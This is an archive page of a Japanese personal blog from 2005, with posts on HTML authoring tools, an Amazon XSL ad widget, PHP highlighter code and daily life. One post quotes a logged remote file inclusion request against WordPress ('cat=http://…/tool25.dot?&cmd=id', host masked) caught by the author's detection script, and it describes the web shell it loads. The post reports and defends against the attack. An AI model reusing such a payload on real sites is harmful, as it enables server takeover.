hiromasa.zone : o)

2005/7/31 Sunday 投稿時の月齢:25.2  月名:二十六夜  潮汐:若潮 Moon:25.2[二十六夜]今日の心技体 : 好調期好調期低調期

HTML オーサリングソフト このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 18:00

コンピュータで文書をつくるときは、一般的にワードプロセッサーと呼ばれるソフトのたぐいを使います。

Microsoft Word って世間ではなんだかあんまり評判良くないですけど、同じフォーマットが続く長文を書くときはぼくの中では Word が一番です。(派手な1枚ものを作るときは他のソフトを使いましょう。 :-) ただ、案外テンプレートの表現力がないのと、どこまでがテンプレートの機能なのかよく分からないのが弱点です。

実はこういうときも案外 HTML + CSS は強力です。 CSS なら大体覚えているし・・・、オプションダイアログいじらなくてすむし・・・。

それでもって本題です。 このような用途でつくった HTML + CSS 雛形に、内容となる文書も HTML コーディングで文章を入力していくのは余計な作業が増えます。 こういうときこそオーサリングソフトを使いたいところです。 WYSWYG なら文書のイメージもつかめます。

ちょっと前から Nvu を使っていましたが、他のオーサリングソフトも試してみました。要求される機能は、

  • WYSWYG でHTML + CSS 雛形に文章を入力できること
  • 雛形を壊さないこと
  • 変な HTML コーディングしないこと

ですね。 3つのソフトウェアを試してみました。

Nvu 1.0

Mozilla Composer から派生したオーサリングソフトウェア。先日 1.0 がでたばかりです。

利点

  • 雛形機能により修正外の HTML にロックをかけることができる
  • HTML コーディングも変なことをしない限りいい感じ
  • インターナルブラウザが Gecko ベースなので崩れない
  • オープンソースで無料で使える

欠点

  • まだいくつか不具合があるようだ(エンターを押したときの挙動がおかしいときがある / カーソルが消える / 文字がワープする / ソース修正すると画面が壊れるときがある / せっかくの雛形機能が効かなくなってソースを壊し出す…等)
  • キーボードショートカットが不足している ( 段落設定(p タグ)するときにマウス必須になるのがいたい..)

Macromedia – Dreamweaver MX 2004

オーサリングソフト業界標準。 パッケージソフトウェア。 5万円くらい。そろそろ、2005 がでる。

利点

  • プレビューとソースの 2WAY 同時表示できるのが圧巻
  • さすがに良くできている 🙂

欠点

  • インターナルブラウザがちょっと標準からはずれているようだ(ずれたりする。MX 2004 にて)
  • この作業するにはすごすぎる
  • 5万円

Mozilla Composer

Mozilla Suite に入っている HTML オーサリングソフト。昔からあります。

利点

  • インターナルブラウザが Gecko ベースなので崩れない

欠点

  • エンターで入力されるのが <br> 。(かなり致命的

—–

こんな感じでした。

Mozilla Composer は、HTML メール作成のためのエディタエンジンの切り出しだとおもうので機能が低いのは致し方がないところです。(でも、<br> はちょっと、、)

DreamWeaver はさすがといった感じですが、この用途には機能が高すぎですね。。5万円はきつい・・・。 あと、インターナルブラウザがちょっと不安です。 MX 2005 がでたらまた試してみます。

結論は、前から使っている Nvu を使い続ける、、という結果に。

いくつかの不具合のため余計な気を使わなければいけないというのはまだありますが用途的に丁度いい感じなので、ソフトとともに継続ウォッチしていきます。

Nvu のスクリーンショット等は前に “Nvu” で書いた物があります。参考まで・・・。 たまごがさきはひよこが先か。

適当メモ – maple4estry – >> Nvu を使って管理しやすい文書を作る

2005/7/30 Saturday 投稿時の月齢:24.5  月名:二十五日月  潮汐:長潮 Moon:24.5[二十五日月]今日の心技体 : 好調期好調期低調期

Random Access File このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 23:59

Random Access File、略して R.A.F. 。 外タレなみに3年に1曲しかできない音楽ユニット名。

メンバー。

  • hiromasa
  • TKN

っておれらかよ。 

この “R.A.F.” ですが結成して5年。 なんと、2人面と向かって曲を作ったことはなく全てインターネット上で作られています。 いや、仲が悪いわけではなく単純に住んでいる距離が遠いのです。 札幌 – 東京 だったり、東京 – 栃木 だったり・・・。 MIDI のデータを送りあって演(や)ってるわけです。

たまたま一緒の場所にいるときは、課外活動にいそしみますので曲は作られません。 へんな音楽の会です。 (課外活動とは大人のお水をのむことデス…)

おもいたち、昔作った曲をここにおいてみることにします。

作曲 : hiromasa / 編曲 : TKN

[ダウンロード]

大戦隊@MP3

のりのり戦隊物です。 2日くらいで一気につくったものです。

[ダウンロード]

fall across@MP3

ジャンルはなんですかね。  スローテンポの壮大なバラード(のつもり)です。

良ければ聞いてみてください。 🙂

2005/7/29 Friday 投稿時の月齢:23.5  月名:真夜中の月  潮汐:小潮 Moon:23.5[真夜中の月]今日の心技体 : 好調期好調期低調前不安定期

Amazon Web Service XSL 第3章 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 23:59

昨日いつの間にか寝ているし。。

というわけで、Amazon Web Service XSL 第3章。

WP プラグインロジックはできました、、がしかしユーザインターフェースができず。

管理画面

画面だけ作りました。 AWS に送信する検索語をいくつか条件づけできるようにしていて、、

  • 特定の記事 ID の場合検索語を固定
  • このプラグインに送られてきた検索語を置換
  • デフォルトの検索語

という設定ができるようにしています。2番目の項目は他のプラグイン等とのインターフェースを考えています。 今のところつながるのは、Search Word Highlight だけですが、、ユーザが持ってきた検索語をまるめて検索があたる言葉に置換して AWS に問い合わせ、、って感じです。(例えば「多摩川 フナ」で google 検索されたら「釣り」 で AWS 検索かけるとか)

サンプル検索

それにしても UI つくるのは大変だなー。 なにかフレームワーク的なものがあるといいのですが、、この辺を考え中。(こっちのほうが時間がかかる・・・)

ちなみに、管理画面が英語なのは多国化なんてすごいことを考えているわけではなく、文字コード変換が面倒でそうしているだけです。 😛

2005/7/28 Thursday 投稿時の月齢:22.4  月名:弓張月(下弦)  潮汐:小潮 Moon:22.4[弓張月(下弦)]今日の心技体 : 好調期好調期低調前不安定期

Amazon Web Service XSL 第2章 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:44

朝、先日試しにつくった Amazon Web Service のタグをいれたページを見てみたら何も表示されていない。。 昼見たら文字化け。。 orz

なんでだろと思ったら Amazon のほうで不具合があったようで日本中でおかしくなっていたみたいです。 さわり始めたばかりなのでどれくらい不具合がでるか、、という感触がなくてあせりました。 割とあるっぽいですね。

AWS (ECS) には現行のメジャーバージョンが2つあるようで、先日は 3.0 というのを使っていました。 4.0 が最新っぽいのでとりあえずそちらに乗り換え。

WP のプラグイン化もしてみようと少しかいてみました。 このプログラム、php と HTML と XSL(T) の3つを考えなければならなく結構大変ですね。orz

とりあえず、ECS 4.0 用の XSL と、挿入タグ生成くらいはできました。

WP のデータと連係してリアルタイムに検索にいけるのがミソなわけですが、いつ、何から検索語を持ってくるかという仕様と、そのユーザーインターフェースがいまいち自分の中でまとまらず、今日はここまで。

なにかいいアイディアあったら教えてください。 🙂

2005/7/27 Wednesday 投稿時の月齢:21.4  月名:二十二日月  潮汐:小潮 Moon:21.4[二十二日月]今日の心技体 : 好調期好調期好調期

何となく気恥ずかしい単語 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:35

何となく声に出して言うのが気恥ずかしい単語というのがあります。 思いついたのをあげてみます。

  • Web サイト → 文章ではかけるが声には出さない筆頭。 ついホームページといってしまう。
  • ブログ → なんでだろ。 音かな。。 ブロガーも同様。
  • ping → ネットワーク疎通確認のコマンド「ピング」。 これは普通にいえるけど、、本当は「ピン」。 ピン飛ばしてみて、、とかいえない。 はっ?っていわれそうで。 ピンで通じる職場ってあるのだろうか。。
  • Dreamweaver → Macromedia の HTML オーサリングソフトの名前。 ドリームウィーバー。 ドリームウェーバーではない。 「ウィ」のところがちょっと恥ずかしい。
  • ソニックザヘッジホック → セガの昔のゲームソフト名。 店頭で買おうとしてお店のおにーさんにソフト名を言いうときにどもりました。「そ、そ、そにっくざ・・・」。 コナミ「バイオミラクル ぼくってウパ」も買えません。。

本来は普通だけど、なんとなくカッコつけている感じがする言葉が苦手なのでしょうか。 よくネタにされる、バイオミラクル~は単純に文面ですが。  ぼくってウパ、ってなんだそりゃ。 🙂

2005/7/26 Tuesday 投稿時の月齢:20.4  月名:二十日余の月  潮汐:中潮 Moon:20.4[二十日余の月]今日の心技体 : 好調期好調期好調期

Amazon Web Service XSL このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:53

XSL。 聞いたことはあれど実際に扱ったことはなかったもののひとつ。

Amazon Web Service API 呼び出し結果を XSL 経由でもらえるということで、面白そうだったのでやってみました。

HTML に対する CSS。 XML に対する XSL。  くらいの認識でしたが、XSL ははるかに難しかった。。 CSS は、元の HTML に対して影響を及ぼすことはできませんが、XSL はデータ源の XML に対して処理を行い(たとえば)検索や抽出をかけ整形し、その結果を出力することができます。

この XSL ですが、他の言語で言えば SQL や SAS に近い考え方をもっている感じです。 上から下に流れる手続き型ではなく、データに対してやりたいことを一度に全て定義するイメージですかね。。 うまく表現できないのですが・・・。

で、わけわかりません。(笑) 他の方がつくられている XSL を参考に、なんとかできあがりました。 ひろまさくんの必殺技、いにしえより伝わる大技、「論より RUN」 デス。

キーワード検索結果の上位3つの商品を Ads by goooogle 風に表示します。

こんな感じです。(”XSL” 書籍の検索結果)

Amazon Web Service 用 XSL

amazon.xsl

HTML にいれるタグ

<iframe src="http://xml-jp.amznxslt.com/onca/xml3?mode=books-jp&sort=&KeywordSearch=[キーワードの UTF-8 URL エンコード文字]&page=1&locale=jp&dev-t=158HHPZ52MBDXASDZ1R2&t=[アソシエイトID]&type=lite&f=http://[XSL の URL]" marginwidth="0" marginheight="0" width="468" height="100" border="0" frameborder="0" style="border:none;" scrolling="no"></iframe>

こんなふうに呼び出せば出るはずです。 (**例えばでつくった物でうまく動かないかもしれないので注意です**)

キーワード部分を php なんかでページに応じて可変で挿入すれば、そのページにあった広告がだせますね。 いまは検索にヒットしないと、空のボックスになってしまいます。

本棚をあさったところ XSL の本がでてきたのでもう少し研究してみます。 :-) なかなか新鮮でした。

2005/7/25 Monday 投稿時の月齢:19.4  月名:更待月  潮汐:中潮 Moon:19.4[更待月]今日の心技体 : 好調期好調期好調期

Re: 驚愕の真実 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 21:54

ずっとしていた勘違いってありますよね。

驚愕の真実@Masayan さん

ちょっと・・・いや、かなり恥ずかしい最近改めて知った真実があります。

ぼくもですねー、読み間違え、告白するともちろんあります。 これはあほすぎますよ、、かなり恥ずかしいですよ、、間違え続けてさんじゅうねん、、

みよじ。(←なぜか変換できない

・・・。

もちろん、

みょうじ めう― 1苗字】
〔「苗」は「苗裔(びようえい)」の意〕「名字」に同じ。

です。 いまだに間違って入力して「変換できねーよ」となります。 頭は覚えたのに心が覚えていないっす。 これも、ワープロ文化の弊害でしょう。(←人のせいかい

この手のって周りの人が(逆に恥ずかしくて)指摘してくれなかったりすることもあって直らないのですよね。。 一度、みんなで会社のホワイトボードに書き出したことがあるのですが、、

  • 脆弱性 – ぜいじゃくせい → ぎじゃくせい
  • (PC の)デスクトップ – ですくとっぷ → ディスクトップ
  • インストール- いんすとーる → インストゥール
  • Yahoo – やふー → やっほー

ああ、もっと相当数あったのですが忘れてしまいました。 調べておきます。 🙂

読み違いと違いますが、「恐るべき認識違い」というのもあるのでここで紹介。

龍は実在すると思っていた。(A子さん

(;゚д゚) ・・・

カッパがいると信じている。信じるというか普通にいると思っている。(A子さんの母

(;゚д゚) ・・・

「台風一過」は台風ファミリーのことだと思っていた。(B子さん

(;゚д゚) クワ・・・

土管の「ど」は、”ど”でかいとか、言葉を強くするための「ど」だと思っていた。 すごい管で「ど管」(C子さん

(つд⊂)ゴシゴシゴシ

自分アホさはさておき人をネタにするやつ。

PHPコードを行番号付きで色分け表示するプラグイン このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 0:09

PHPコードを行番号付きで色分け表示するプラグイン@Chameleon Cyberさん にトラックバックしています。

「WordPress のプラグインを作ろう」というドキュメントを書こうとしていたのですが、、困ったことが一点。

ソースをきれいにサイトに表示するにはどうすればいいか。

やっぱり色分けしたほうがいいよなーとか、行番号もあった方がいいとか、別画面起動はいやだなーなどと思っていたら、素晴らしいプラグインが登場!!

PHP Highligh String Ver.0.1.1
しばらく、Syntax Highlighter Enscriptプラグインを愛用していたのですが、これは行番号をつけてくれません。
そこで、Syntax Highlighter Enscriptと(たぶん)互換で、さらに行番号を出力してくれるプラグインを作ってみました。ただし、PHPコード専用です。

完璧です。 行番号付でかつ、コピーアンドペーストで行番号がくっついてきません。 

文書中でコードの部分解説もしたかったので、行番号の開始行数を指定できるようにアドホックコードを追加してみました。

82 行目からの analyze_callback 関数に number 属性を取得できる処理を追加。

function analyze_callback($match) {
    $attr = $match[1];
    $code = $match[2];
    $code = str_replace('\"',  '"', $code);
    
    $re_num = '/\s+number\s*=\s*["\']?([^"\']+)["\']?/xi';
    if(preg_match($re_num, $attr, $number)) {
    	$start_number = $number[1];
    } else {
    	$start_number = 1;
    }
    
    $re_lang = '/\s+lang\s*=\s*["\']?([^"\']+)["\']?/xi';
    $num = preg_match($re_lang, $attr, $lang);
    if ($num) {
        $code = htmlunspecialchars($code);
        $code = set_color($code, $lang[1], $start_number);
        $attr = preg_replace($re_lang, '', $attr);
    }
    return "<pre$attr>$code</pre>";
}

31行目、set_color 関数を number をもらうようにして、

function set_color($code,$lang, $start_number) {

54 行目くらいで 最初の <? php ? と ?> を削除して、

    array_shift($temp_array);
    array_pop($temp_array);

56行目の ol タグに start 属性 で 開始行を指定しています。

    $code = "<div class=\"code\"><ol start=\"$start_number\">". @join('', $temp_array) . "\n</ol></div>";

開始行については IE は 100以上指定できないようです。でも分かるから OK ということにしましょう。 🙂

上のソース表示は、早速 PHP Highligh String を使わせて頂いているものです。 いやあ、素晴らしい。

chameleon さんどうもありがとうございました。 感謝です。

追記。

あ、\ マークが消えてしまっている.. あれ、どうすればいいんだ。。 明日ちょっとみてみます

↑わかりました、正規表現文字がソース中にあると削除されてしまうようなので、事前にクオートすると良いようです!。

    $code = highlight_string( $code, true ); 
    $code = preg_quote($code, '/');

これで OK そうです。 🙂

PHP Highlight String Ver.0.1.2 で修正していただきました!。 しかも上の直し方は間違いです。。orz どうもありがとうございました!。

2005/7/24 Sunday 投稿時の月齢:18.0  月名:寝待月  潮汐:中潮 Moon:18.0[寝待月]今日の心技体 : 好調期好調期好調期

たまや このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 11:30

ひさびさに普通のネタ。 昨日の出来事。

とりあえず地震に揺られる。 4くらいあったのか。 本読みながらウトウトしてたので、寝ぼけていてよく覚えていない・・・。 心配してメール、電話くれた方ごめんなさい。。

その後、そのまま半分寝ぼけながら多摩川花火大会へ。 近所なのでてくてく見に行く。 交通規制かかっていて車はものすごい渋滞。 メイン会場から1キロほどの橋の上でみてみました。 音が数秒遅れてきます。

1万発 あげたらしい。 やっぱ東京の花火はすごいですね。 札幌だと3千発がいいとこ。 東京湾は1万2千発、江戸川は1万4千発あげるらしい。

仕掛け花火(?)が結構あって、「土星」「ハート」「☆」「ネコ(ドラエモン?)」「うずまき」なんかもあがっていました。 ネコのヒゲなんかどうやってつくっているのだろう。 不思議です。

うん、オチがない。 まぁいいっか。 🙂

2005/7/23 Saturday 投稿時の月齢:16.9  月名:立待月  潮汐:大潮 Moon:16.9[立待月]今日の心技体 : 好調期好調期好調期

招かざる客 このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加

日記 - ひろまさ @ 9:10

今朝起床後PCを起動すると、働かないと思っていたものが動いていた。

あやしい Apache ログ検出スクリプト。

お手製のものですが、まぁなんだってわけでもないです。URL の引数に通常は入らない文字列があるのを検出するスクリプト。

DB の SQL 構文(SQLインジェクション)とか、URL(ファイルインジェクション) とか、UNIX のコマンド(コマンドインジェクション)とか、ものすごい長い(バッファオーバーラン)とかのセキュリティホールねらいの変なアクセスを検知します。

で、ひっかかったのはこれ。

cat=http://mi.*****.net.do/carlos18/tool25.dot?&cmd=id

WordPress の index.php に対するこんなアクセスが。 cat はカテゴリを指定する引数ですが、ここに URL をつっこんできていて、あきらかにファイルインジェクションを使ったクラックです。一応 URL は伏せ字。

・・・やられたか。。 とおもってサイト見てみたら無事でした。 よかつた。

一応確認してみると、cat の引数にはファイルインジェクションの脆弱性はなさそうで事なきを得たようです。 無作為にしては cat って引数はあっているし、WP のバージョンによっては脆弱性があるのでしょうか。(未確認)

まぁやられっぱなしもよくないので、何をやっているか見る。

dtp

ファイルインジェクションがうまく動いちゃうと、こんなふうにサーバの情報を表示しつつ、コマンドCGI (PHP だけど)でサーバを操作できるようになるようです。 Defacing Tool Pro という名前らしい。

de・face
━━ vt. 表面を傷つける[摩滅する]; 読めなくする, わからなくする.

しかしソースの汚いスクリプトだ。 子供達よ、Pro とかつけるんなら、もうちょっとましにかけ。 そんなんじゃプロになれないぞ。 🙂

このサイトについて

このブログは引っ越しを行いコンテンツはフリーズしています。hiromasa.anotherへどうぞ。

Powerd By WordPress

We (Heart) WordPress

WordPressME Logo
WordPress Plugins

ブログ内検索

Todays Popular

WordPress Ring

はてなリング - WordPress -

情報

17 queries. 0.111 seconds.

このページの先頭へ